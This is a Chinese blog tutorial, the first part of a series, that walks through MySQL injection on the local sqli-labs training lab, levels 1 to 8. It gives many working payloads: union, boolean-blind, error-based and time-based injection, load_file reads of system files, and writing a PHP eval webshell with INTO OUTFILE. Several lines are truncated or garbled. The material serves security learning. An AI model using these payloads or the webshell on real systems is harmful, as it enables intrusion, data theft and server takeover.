【独家连载】mysql注入天书（一）Basic Challenges

lcamry / 2016-11-11 06:16:00 / 浏览数 20815 安全技术 漏洞分析 顶(1) 踩(0)

写在前面的一些内容

请允许我叨叨一顿：

最初看到sqli-labs也是好几年之前了，那时候玩了前面的几个关卡，就没有继续下去了。最近因某个需求想起了sqli-labs，所以翻出来玩了下。从每一关卡的娱乐中总结注入

为什么要写这个？

（1）sql的危害，多少的网站是被此攻破的，危害不必细讲，同样的今天网络安全形势一片大好，依旧有很多的网站存在漏洞。具体不表，可以去各大src看看。

（2）很多的人觉得sql是如此的简单，同时很多的人是华而不实，对sql注入的理解到底有多深，决定了你对此漏洞的利用方式有多么变幻莫测。个人就想着利用自己对sql注

（3）以前自己在学习的时候太过于痛苦，大部分的人入门的时候通过sql走进来。同时呢，sql注入的世界真的很精彩，当你看到别人用智慧构成的payload时，你会感触颇多

这项工作要怎么做？

现在大致的思路分为三个部分，但是不知道有没有时间和精力能够写完。确实写的过程比较耗费时间。

（1）、通过源码和手工的方式，将所有的注入方式和造成漏洞的原因找出来，并进行学习。此处要求是对每一个类型的注入进行"深刻"的了解，了解其原理和可能应用到的

（2）通过工具进行攻击，我们此处推荐使用sqlmap。此过程中，了解sqlmap的使用方法，要求掌握sqlmap的流程和使用方法，精力较足的话，针对一些问题会附sqlmap

（3）自己实现自动化攻击，这一过程，我们根据常见的漏洞，自己写脚本来进行攻击。此处推荐python语言。同时，sql-labs系统是php写的，这里个人认为可以精读一下

Ps：工具注入和自动化注入可能延后，见第二个版本。请关注博客。

你该怎么去学？

（1）安装环境后，动手实验。实践中遇到问题才能更大的激发起兴趣。

（2）遇到不会查资料，可以在我的博客（www.cnblogs.com/lcamry）中找到一些资料。或者可以请教别人，虚心请教，不耻下问。三人行必有我师焉！

（3）书山有路勤为径，勤奋是唯一的一条路。

SQLI和sqli-labs介绍

SQLI，sql injection，我们称之为sql注入。何为sql，英文：Structured Query Language，叫做结构化查询语言。常见的结构化数据库有MySQL，MS SQL ,Oracle以及Postgresql。Sql语言就是我们在管理数据库时用到的一种。在我们的应用系统使用sql语句进行管理应用数据库时，往往采用拼接的方式形成一条完整的数据库语

原理性的东西我们这里就不进行详细的讲解了，从sqli-labs以下的每一个关卡中，你能真正体会到什么是sql注入。Ps:有些朋友对工具比较熟悉，例如sqlmap，可以从sqlm

Ps：因为本项工作我是在多个平台和多个浏览器下进行测试的，所以截图等可能会有不同的环境，但是都能说明原理。这里就不要吹毛求痕了。图片刚开始有很多都是chron

Sqli-labs下载

Sqli-labs是一个印度程序员写的，用来学习sql注入的一个游戏教程。博客地址为：

http://dummy2dummies.blogspot.hk/，博客当中有一些示例，国内很多博客内容都是从该作者的博客翻译过来的。同时该作者也发了一套相关的视频，在youtube上可以

此处考虑到有些朋友不会翻墙，遂分享到国内地址。

http://pan.baidu.com/s/1bo2L1JT

Ps：不想看视频的可以直接忽略视频，口音实在脑门疼，此处本来想自己录视频的，但现在来看，时间比较有限

Sqli-labs项目地址---Github获取：https://github.com/Audi-1/sqli-labs

（考虑到安全性问题，就不搬运这个了）

Sqli-labs安装

需要安装以下环境

（1）apache+mysql+php

（2）Tomcat+mysql+java（部分关卡需要）

如果可以的话，推荐在windows和linux下分别安装：

Windows下可以用wamp、phpstudy、apmserv等直接安装，linux下可在网上搜索教程进行安装。例如ubuntu下，新手基本靠软件中心和apt-get
进行安装。这里就不赘述环境的安装了。

我的测试环境是windows下用wamp直接搭建的，linux平台用ubuntu14.04，apache+mysql+php

同时，在后面的几个关卡中，需要用到tomcat+java+mysql的服务器，此处因已经安装apache+mysql+php，所以我们需要安装tomcat+jre+java连接mysql的jar，具体

Sqli-labs安装

将之前下载的源码解压到web目录下，linux的apache为 /var/www/html下，windows下的wamp解压在www目录下。

修改sql-connections/db-creds.inc文件当中的mysql账号密码

将user和pass修改你的mysql 的账号和密码，访问127.0.0.1的页面，点击

进行安装数据库的创建，至此，安装结束。我们就可以开始游戏了。

第一部分/page-1 Basic Challenges

Background-1 基础知识

此处介绍一些mysql注入的一些基础知识。

（1）注入的分类---仁者见仁，智者见智。

下面这个是阿德玛表哥的一段话，个人认为分类已经是够全面了。理解不了跳过，当你完全看完整个学习过程后再回头看这段。能完全理解下面的这些每个分类，对每个分类

基于从服务器接收到的响应

▲基于错误的SQL注入

 ▲联合查询的类型

▲堆查询注射

▲SQL盲注

 •基于布尔SQL盲注

 •基于时间的SQL盲注

 •基于报错的SQL盲注

基于如何处理输入的SQL查询（数据类型）

•基于字符串

•数字或整数为基础的

基于程度和顺序的注入(哪里发生了影响)

★一阶注射

★二阶注射

一阶注射是指输入的注射语句对WEB直接产生了影响，出现了结果；二阶注入类似存储型XSS，是指输入提交的语句，无法直接对WEB应用程序产生影响，通过其它的辅助
基于注入点的位置上的

▲通过用户输入的表单域的注射。

▲通过cookie注射。

▲通过服务器变量注射。（基于头部信息的注射）

（2）系统函数

介绍几个常用函数：

1. version()——MySQL■■
2. user()——■■■■■■
3. database()——■■■■
4. @@datadir——■■■■■
5. @@version_compile_os——■■■■■■

（3）字符串连接函数

函数具体介绍 http://www.cnblogs.com/lcamry/p/5715634.html

1. concat(str1,str2,...)——没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
3. group_concat(str1,str2,...)——连接一个组的所有字符串，并以逗号分隔每一条数据
   说着比较抽象，其实也并不需要详细了解，知道这三个函数能一次性查出所有信息就行了。

（4）一般用于尝试的语句

Ps:--+可以用#替换，url提交过程中Url编码后的#为%23

```
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
```

一般的代码为：

```
■       $id=$_GET['id'];
■       $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
```

此处考虑两个点，一个是闭合前面你的‘ 另一个是处理后面的’，一般采用两种思路，闭合后面的引号或者注释掉，注释掉采用--+ 或者 #■%23■

（5）union操作符的介绍

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意，UNION 内部的 SELECT
语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时，每条 SELECT 语句中的列的顺序必须相同。

SQL UNION 语法

SELECT column_name(s) FROM table_name1

UNION

SELECT column_name(s) FROM table_name2

注释：默认地，UNION 操作符选取不同的值。如果允许重复的值，请使用 UNION ALL。

SQL UNION ALL 语法

SELECT column_name(s) FROM table_name1

UNION ALL

SELECT column_name(s) FROM table_name2

另外，UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。

（6）sql中的逻辑运算

这里我想说下逻辑运算的问题。

提出一个问题`Select * from users where id=1 and 1=1;`这条语句为什么能够选择出id=1的内容，and
1=1到底起作用了没有？这里就要清楚sql语句执行顺序了。

同时这个问题我们在使用万能密码的时候会用到。

```
Select * from admin where username='admin' and password='admin'
```

我们可以用 `'or 1=1#` 作为密码输入。原因是为什么？

这里涉及到一个逻辑运算，当使用上述所谓的万能密码后，构成的sql语句为：

```
Select * from admin where username='admin' and password=''or 1=1#'
```

Explain:上面的这个语句执行后，我们在不知道密码的情况下就登录到了admin用户了。

原因是在where子句后，我们可以看到三个条件语句 `username='admin' and password=''or 1=1`■三个条件用and和or进行连接。在sql中，我们and的运算优先级大于or的元算优先级。因此可以看到
第一个条件（用a表示）是真的，第二个条件（用b表示）是假的，a and b =
false,第一个条件和第二个条件执行and后是假，再与第三个条件or运算，因为第三个条件1=1是恒成立的，所以结果自然就为真了。因此上述的语句就是恒真了。

```
①Select * from users where id=1  and  1=1;
②Select * from users where id=1 && 1=1;
③Select * from users where id=1 & 1=1;
```

上述三者有什么区别？①和②是一样的，表达的意思是 id=1条件和1=1条件进行与运算。

③的意思是id=1条件与1进行&位操作，id=1被当作true，与1进行 & 运算 结果还是1，再进行=操作，1=1,还是1（ps：&的优先级大于=）

Ps:此处进行的位运算。我们可以将数转换为二进制再进行与、或、非、异或等运算。必要的时候可以利用该方法进行注入结果。例如将某一字符转换为ascii码后，可以分别

（7）注入流程

我们的数据库存储的数据按照上图的形式，一个数据库当中有很多的数据表，数据表当中有很多的列，每一列当中存储着数据。我们注入的过程就是先拿到数据库名，在获取

现在做一些mysql的基本操作。启动mysql，然后通过查询检查下数据库:

show databases;

这个实验用到的数据库名为security,所以我们选择security来执行命令。

use security;

我们可以查看下这个数据库中有哪些表

show tables;

现在我们可以看到这里有四张表，然后我们来看下这张表的结构。

desc emails;

在继续进行前台攻击时，我们想讨论下系统数据库，即information_schema。所以我们使用它

use information_schema

让我们来看下表格。

show tables;

现在我们先来枚举这张表

desc tables;

现在我们来使用这个查询：

```
select table_name from information_schema.tables where table_schema = "security";
```

使用这个查询，我们可以下载到表名。

Mysql有一个系统数据库information_schema，存储着所有的数据库的相关信息，一般的，我们利用该表可以进行一次完整的注入。以下为一般的流程。

猜数据库

```
select schema_name from information_schema.schemata
```

猜某库的数据表

```
select table_name from information_schema.tables where table_schema='xxxxx'
```

猜某表的所有列

```
Select column_name from information_schema.columns where table_name='xxxxx'
```

获取某列的内容

```
Select * from
```

上述知识参考用例：less1-less4

Less-1

我们可以在http://127.0.0.1/sqllib/Less-5/?id=1后面直接添加一个 ‘ ，来看一下效果：

从上述错误当中，我们可以看到提交到sql中的1’在经过sql语句构造后形成1' LIMIT 0,1，多加了一个’
。这种方式就是从错误信息中得到我们所需要的信息，那我们接下来想如何将多余的 ' 去掉呢？

尝试 ‘or 1=1--+

此时构造的sql语句就成了

```
Select  where id='1'or 1=1--+' LIMIT 0,1
```

可以看到正常返回数据。

此处可以利用order by。Order by 对前面的数据进行排序，这里有三列数据，我们就只能用order by 3,超过3就会报错。

'order by 4--+的结果显示结果超出。

最后从源代码中分析下为什么会造成注入？

```
Sql■■■$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
```

Id参数在拼接sql语句时，未对id进行任何的过滤等操作，所以当提交 ‘or 1=1--+，直接构造的sql语句就是

```
SELECT * FROM users WHERE id=’1’or 1=1--+ LIMIT 0,1
```

这条语句因or 1=1 所以为永恒真。

此外，此处介绍union联合注入，union的作用是将两个sql语句进行联合。Union可以从下面的例子中可以看出，强调一点：union前后的两个sql语句的选择列数要相同才可
all与union 的区别是增加了去重的功能。我们这里根据上述background的知识，进行information_schema 知识的应用。

```
http://127.0.0.1/sqllib/Less-1/?id=-1’ union select 1,2--+
```

当id的数据在数据库中不存在时，（此时我们可以id=-1，两个sql语句进行联合操作时，当前一个语句选择的内容为空，我们这里就将后面的语句的内容显示出来）此处前台
的数据。

爆数据库

```
http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--+
```

此时的sql语句为

```
SELECT * FROM users WHERE id=’-1’union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1
```

爆security数据库的数据表

```
http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20whe
```

此时的sql语句为

```
SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’
```

爆users表的列

```
http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20w
```

此时的sql语句为

```
SELECT * FROM users WHERE id=’-1’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’
```

爆数据

```
http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,username,password%20from%20users%20where%20id=2--+
```

此时的sql语句为

```
SELECT * FROM users WHERE id=’-1’union select 1,username,password from users where id=2--+ LIMIT 0,1
```

Less1-less4都可以利用上述union操作进行注入。下面就不进行赘述了。

Less-2

将'（单引号）添加到数字中。

我们又得到了一个Mysql返回的错误，提示我们语法错误。

```
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to u
```

现在执行的查询语句如下：

```
Select * from TABLE where id = 1’ ;
```

所以这里的奇数个单引号破坏了查询，导致抛出错误。

因此我们得出的结果是，查询代码使用了整数。

```
Select * from TABLE where id = (some integer value);
```

现在，从开发者的视角来看，为了对这样的错误采取保护措施，我们可以注释掉剩余的查询：

```
http://localhost/sqli-labs/Less-2/?id=1--+
```

源代码中可以分析到SQL语句为下：

```
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
```

对id没有经过处理

可以成功注入的有：

```
or 1=1
or 1=1 --+
```

其余的payload与less1中一直，只需要将less1中的‘去掉即可。

这里不赘述了。

Less-3

我们使用?id='

注入代码后，我们得到像这样的一个错误：

```
MySQL server version for the right syntax to use near ””) LIMIT 0,1’ at line 1
```

这里它意味着，开发者使用的查询是：

```
Select login_name, select password from table where id= (‘our input here’)
```

所以我们再用这样的代码来进行注入：

```
?id=1’) --+
```

这样一来，我们便可以得到用户名和密码了，同时后面查询也已经被注释掉了。

在源代码中的SQL查询语句，31行：

```
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
```

可以成功注入的有：

```
') or '1'='1'
) or 1=1 --+
```

其余的payload与less1中一直，只需要将less1中的‘ 添加■ 即’）。

Less-4

我们使用?id=1”

注入代码后，我们得到像这样的一个错误：

```
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to u
```

这里它意味着，代码当中对id参数进行了 “”和（）的包装。

所以我们再用这样的代码来进行注入：

```
?id=1") --+
```

这样一来，我们便可以得到用户名和密码了，同时后面查询也已经被注释掉了。

在源代码中的SQL查询语句，31行：

```
$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";
```

可以成功注入的有：

```
") or "1"=("1
") or 1=1 --+
```

其余的payload与less1中一直，只需要将less1中的‘ 更换为 ")。

Background-2 盲注的讲解

何为盲注？盲注就是在sql注入过程中，sql语句执行的选择后，选择的数据不能回显到前端页面。此时，我们需要利用一些方法进行判断或者尝试，这个过程称之为盲注。从

•基于布尔SQL盲注

•基于时间的SQL盲注

•基于报错的SQL盲注

Ps：知识点太多了，这里只能简单列出来大致讲解一下。（ps：每当看到前辈的奇淫技巧的payload时，能想象到我内心的喜悦么？我真的想细细的写写这一块，但是不知道

1：基于布尔SQL盲注----------构造逻辑判断

我们可以利用逻辑判断进行

截取字符串相关函数解析http://www.cnblogs.com/lcamry/p/5504374.html（这个还是要看下）

```
▲left(database(),1)>'s'            //left()■■

Explain:database()■■■■■■■■left(a,b)■■■■■a■■b■

▲ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+        //sul

Explain■substr(a,b,c)■b■■■■■■■■■■a■c■■■Ascii()■■■■■■■■ascii■

▲ascii(substr((select database()),1,1))=98

▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23              //ORI

Explain■mid(a,b,c)■■■b■■■■■a■■■■c■

■         Ord()■■■ascii()■■■■■■ascii■

▲regexp■■■■

■■■■■■■<http://www.cnblogs.com/lcamry/articles/5717442.html>

■■■■■select user() regexp '^[a-z]';

Explain■■■■■■■■■■user()■■■root■regexp■■■root■■■■■■■

■■■■■■select user() regexp '^ro'■■■■
```

当正确的时候显示结果为1，不正确的时候显示结果为0.

示例介绍：

```
I select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));

II select * from users where id=1 and 1=(user() regexp'^ri');
```

通过if语句的条件判断，返回一些条件句，比如if等构造一个判断。根据返回结果是否等于0或者1进行判断。

```
III select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name
```

这里利用select构造了一个判断语句。我们只需要更换regexp表达式即可

```
'^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALSE
```

如何知道匹配结束了？这里大部分根据一般的命名方式（经验）就可以判断。但是如何你在无法判断的情况下，可以用`table_name regexp '^username$'`来进行判断。^是从开头进行匹配，$是从结尾开始判断。更多的语法可以参考mysql使用手册进行了解。

好，这里思考一个问题？table_name有好几个，我们只得到了一个user，如何知道其他的？

这里可能会有人认为使用limit 0，1改为limit 1,1。

但是这种做法是错误的，limit作用在前面的select语句中，而不是regexp。那我们该如何选择。其实在regexp中我们是取匹配table_name中的内容，只要table_name中有

▲like匹配注入

和上述的正则类似，mysql在匹配的时候我们可以用ike进行匹配。

用法：`select user() like ‘ro%’`

2：基于报错的SQL盲注------构造payload让信息通过错误提示回显出来

```
▲Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;
```

//explain:此处有三个点，一是需要concat计数，二是floor，取得0 or 1，进行数据的重复，三是group by进行分组，但具体原理解释不是很通，大致原理为分组后数据计数时重复造成的错误。也有解释为mysql 的bug的问题。但是此处需要将rand(0)，rand()需要多试几次才行。

以上语句可以简化成如下的形式。

```
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
```

如果关键的表被禁用了，可以使用这种形式

```
select count(*) from (select 1 union select null union

select !1) group by concat(version(),floor(rand(0)*2))
```

如果rand被禁用了可以使用用户变量来报错

```
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
```

```
▲select exp(~(select * FROM(SELECT USER())a))         //double■■■■■■■■
```

//Exp()为以e为底的对数函数；版本在5.5.5及其以上

可以参考exp报错文章：http://www.cnblogs.com/lcamry/articles/5509124.html

```
▲select !(select * from (select user())x) -■ps:■■■■■ ~0
```

//bigint超出范围；~0是对0逐位取反，很大的版本在5.5.5及其以上

可以参考文章bigint溢出文章http://www.cnblogs.com/lcamry/articles/5509112.html

```
▲extractvalue(1,concat(0x7e,(select @@version),0x7e))  se//mysql■xml■■■■■■■■■■xpath■■■xpath■■■■
```

```
▲updatexml(1,concat(0x7e,(select @@version),0x7e),1)
```

//mysql对xml数据进行查询和修改的xpath函数，xpath语法错误

```
▲select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
```

//mysql重复特性，此处重复了version，所以报错。

3:基于时间的SQL盲注----------延时注入

```
▲If(ascii(substr(database(),1,1))>115,0,sleep(5))%23
```

//if判断语句，条件为假，执行sleep

Ps：遇到以下这种利用sleep()延时注入语句

```
select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));
```

该语句意思是在0-9之间找版本号的第一位。但是在我们实际渗透过程中，这种用法是不可取的，因为时间会有网速等其他因素的影响，所以会影响结果的判断。

▲UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (select database

//BENCHMARK(count,expr)用于测试函数的性能，参数一为次数，二为要执行的表达式。可以让函数执行若干次，返回结果比平时要长，通过时间长短的变化，判断语句是

函数进行注入。

此处配置一张《白帽子讲安全》图片

Mysql	BENCHMARK(100000,MD5(1)) or sleep(5)
Postgresql	PG_SLEEP(5) OR GENERATE_SERIES(1,10000)
Ms sql server	WAITFOR DELAY '0:0:5'

Less-5

这里说一下，有很多的blog是翻译或者copy的，这关正确的思路是盲注。从源代码中可以看到，运行返回结果正确的时候只返回you are in....，不会返回数据库当中的信息了，所以我们不能利用上述less1-4的方法

我们从这这一关开始学习盲注。结合background-2的信息，将上述能使用的payload展示一下使用方法。

（1）利用left(database(),1)进行尝试

```
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23
```

查看一下version()，数据库的版本号为5.6.17，这里的语句的意思是看版本号的第一位是不是5，明显的返回的结果是正确的。

当版本号不正确的时候，则不能正确显示 you are in.....

接下来看一下数据库的长度

```
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20length(database())=8%23
```

长度为8时，返回正确结果，说明长度为8.

猜测数据库第一位

```
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27--+
```

Database()为security，所以我们看他的第一位是否 > a,很明显的是s > a,因此返回正确。当我们不知情的情况下，可以用二分法来提高注入的效率。

猜测数据库第二位

得知第一位为s，我们看前两位是否大于 sa

```
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),2)%3E%27sa%27--+
```

往下的请举一反三，因有人问过此类问题，不知道该怎么进行第二位第三位。这里对于这个问题只讲一次，以后就不会再说这个问题。要有自我思考的能力和意识。

（2）利用substr() ascii()函数进行尝试

```
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101
```

根据以上得知数据库名为security，那我们利用此方式获取security数据库下的表。

获取security数据库的第一个表的第一个字符

```
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20ta
```

Ps：此处table_schema可以写成
='security'，但是我们这里使用的database()，是因为此处database()就是security。此处同样的使用二分法进行测试，直到测试正确为止。

此处应该是101，因为第一个表示email。

如何获取第一个表的第二位字符呢？

这里我们已经了解了substr()函数，这里使用substr(,2,1)即可。

```
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20ta
```

那如何获取第二个表呢？思考一下！

这里可以看到我们上述的语句中使用的limit 0,1. 意思就是从第0个开始，获取第一个。那要获取第二个是不是就是limit 1,1！

```
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20ta
```

此处113返回是正确的，因为第二个表示referers表，所以第一位就是r.

以后的过程就是不断的重复上面的，这里就不重复造轮子了。原理已经解释清楚了。

当你按照方法运行结束后，就可以获取到所有的表的名字。

（3）利用regexp获取（2）中users表中的列

```
http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27user
```

上述语句时选择users表中的列名是否有us的列

```
http://127.0.0.1/sqllib/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name
```

上图中可以看到username存在。我们可以将username换成password等其他的项也是正确的。

（4）利用ord（）和mid（）函数获取users表的内容

```
http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(username%20AS%20CHAR),0x20)FROM%20security.users
```

获取users表中的内容。获取username中的第一行的第一个字符的ascii，与68进行比较，即为D。而我们从表中得知第一行的数据为Dumb。所以接下来只需要重复造轮子即

总结：以上（1）（2）（3）（4）我们通过使用不同的语句，将通过布尔盲注SQL的所有的payload进行演示了一次。想必通过实例更能够对sql布尔盲注语句熟悉和理解了

接下来，我们演示一下报错注入和延时注入。

（5）首先使用报错注入

```
http://127.0.0.1/sqllib/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a fr
```

利用double数值类型超出范围进行报错注入

```
http://127.0.0.1/sqllib/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
```

利用bigint溢出进行报错注入

```
http://127.0.0.1/sqllib/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+
```

xpath函数报错注入

```
http://127.0.0.1/sqllib/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
```

```
http://127.0.0.1/sqllib/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
```

利用数据的重复性

```
http://127.0.0.1/sqllib/Less-5/?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+
```

（6）延时注入

利用sleep()函数进行注入

```
http://127.0.0.1/sqllib/Less-5/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
```

当错误的时候会有5秒的时间延时。

利用BENCHMARK()进行延时注入

```
http://127.0.0.1/sqllib/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 s
```

当结果正确的时候，运行ENCODE('MSG','by 5 seconds')操作50000000次，会占用一段时间。

至此，我们已经将上述讲到的盲注的利用方法全部在less5中演示了一次。在后续的关卡中，将会挑一种进行演示，其他的盲注方法请参考less5.

Less-6

Less6与less5的区别在于less6在id参数传到服务器时，对id参数进行了处理。这里可以从源代码中可以看到。

```
$id = '"'.$id.'"';
```

```
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
```

那我们在这一关的策略和less5的是一样的。只需要将‘替换成 “.

这里我们演示其中一个payload

```
http://127.0.0.1/sqllib/Less-6/?id=1%22and%20left(version(),1)=5%23
```

其余的less5的所有方法均适用于less6.只需要将‘变为“这里就不赘述了。参考less5,独立完成实验吧。

Background-3 导入导出相关操作的讲解

1、load_file()导出文件

Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。

使用条件：

■ A■■■■■■■■■■■■■■■■■■■

■ and (select count(*) from mysql.user)>0/* ■■■■■■■■■,■■■■■■■■■

■ and (select count(*) from mysql.user)>0/* ■■■■■■■■■■■■■■■■■■■■■

B■■■■■■■■■■■■■

C■■■■■■■■■■■■■

D■■■■■■■■■■■ max_allowed_packet

如果该文件不存在，或因为上面的任一原因而不能被读出，函数返回空。比较难满足的就是权限，在windows下，如果NTFS设置得当，是不能读取相关的文件的，当遇到只

在实际的注入中，我们有两个难点需要解决：

绝对物理路径

构造有效的畸形语句（报错爆出绝对路径）

在很多PHP程序中，当提交一个错误的Query，如果display_errors = on，程序就会暴露WEB目录的绝对路径，只要知道路径，那么对于一个可以注入的PHP程序来说，整个服务器的安全将受到严重的威胁。

常用路径：
http://www.cnblogs.com/lcamry/p/5729087.html

示例：

```
Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109))
```

利用hex()将文件内容导出来，尤其是smb文件时可以使用。

```
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
```

Explain■“char(99,58,47,98,111,111,116,46,105,110,105)”■■“c:/boot.ini”■ASCII■■

```
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
```

Explain■“c:/boot.ini”■16■■■“0x633a2f626f6f742e696e69”

```
-1 union select 1,1,1,load_file(c:\\boot.ini)
```

Explain:■■■■/■ \\■■

2、文件导入到数据库

LOAD DATA INFILE语句用于高速地从一个文本文件中读取行，并装入一个表中。文件名称必须为一个文字字符串。

在注入过程中，我们往往需要一些特殊的文件，比如配置文件，密码文件等。当你具有数据库的权限时，可以将系统文件利用load data infile导入到数据库中。

函数具体介绍：对于参数介绍这里就不过多的赘述了，可以参考mysql的文档。（提醒：参考文档才是最佳的学习资料）

示例：

```
load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'
```

将/tmp/t0.txt导入到t0表中，character set gbk是字符集设置为gbk，fields terminated by是每一项数据之间的分隔符，lines terminated by 是行的结尾符。

当错误代码是2的时候的时候，文件不存在，错误代码为13的时候是没有权限，可以考虑/tmp等文件夹。

TIPS：我们从mysql5.7的文档看到添加了load xml函数，是否依旧能够用来做注入还需要验证。

3、导入到文件

```
SELECT.....INTO OUTFILE 'file_name'
```

可以把被选择的行写入一个文件中。该文件被创建到服务器主机上，因此您必须拥有FILE权限，才能使用此语法。file_name不能是一个已经存在的文件。

我们一般有两种利用形式：

第一种直接将select内容导入到文件中：

```
Select version() into outfile “c:\\phpnow\\htdocs\\test.php”
```

此处将version()替换成一句话，<?php @eval($_post[“mima”])?>也即

```
Select  <?php @eval($_post[“mima”])?>  into outfile “c:\\phpnow\\htdocs\\test.php”
```

直接连接一句话就可以了，其实在select内容中不仅仅是可以上传一句话的，也可以上传很多的内容。

第二种修改文件结尾：

```
Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16■■■■
```

解释：通常是用\r\n结尾，此处我们修改为自己想要的任何文件。同时可以用FIELDS TERMINATED BY

16进制可以为一句话或者其他任何的代码，可自行构造。在sqlmap中os-shell采取的就是这样的方式，具体可参考os-shell分析文章：http://www.cnblogs.com/lcamry/p

TIPS：

（1）可能在文件路径当中要注意转义，这个要看具体的环境

（2）上述我们提到了load_file(),但是当前台无法导出数据的时候，我们可以利用下面的语句：

```
select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile ‘c:\\wamp\\www\\test.php’
```

可以利用该语句将服务器当中的内容导入到web服务器下的目录，这样就可以得到数据了。上述my.ini当中存在password项（不过默认被注释），当然会有很多的内容可以

Less-7

本关的标题是dump into outfile,意思是本关我们利用文件导入的方式进行注入。而在background-3中我们已经学习了如何利用dump into file.

这里首先还是回到源代码中去。重点放在对id参数的处理和sql语句上，从源代码中可以看到`$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";`

这里对id参数进行了‘))的处理。所以我们其实可以尝试')) or 1=1--+进行注入

```
http://127.0.0.1/sqllib/Less-7/?id=1')) or 1=1--+
```

那我们这里利用上述提到的文件导入的方式进行演示：

```
http://127.0.0.1/sqllib/Less-7/?id=1'))UNION SELECT 1,2,3 into outfile "c:\\wamp\\www\\sqllib\\Less-7\\uuu.txt"%23
```

上图中显示sql出错了，但是没有关系，我们可以在文件中看到uuu.txt已经生成了。

像上述background-3中一样，我们可以直接将一句话木马导入进去。

```
http://127.0.0.1/sqllib/Less-7/?id=1'))UNION SELECT 1,2,'<?php @eval($_post[“mima”])?>' into outfile "c:\\wamp\\www\\sqllib\\L
```

我们可以在文件中看到一句话木马已经导入进去了

页面访问

此时用菜刀等webshell管理工具连接即可，这里不演示此过程了。

这里还有其他的内容可以导入，可以自己思考进行尝试。同时导入的方法上述在background中已经讲解过了，可以自行尝试。

Less-8

经过简单的测试，我们发现 ‘or 1=1--+返回正常，那么我们就基本知道应该怎么使用了，参考less5.这里简单的进行一个示例：

http://127.0.0.1/sqllib/Less-8/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

这里用的延时注入，当然了我们使用布尔类型的注入也是可以的，那么和第五关有什么区别呢？

第八关我们直接从源代码中可以看到

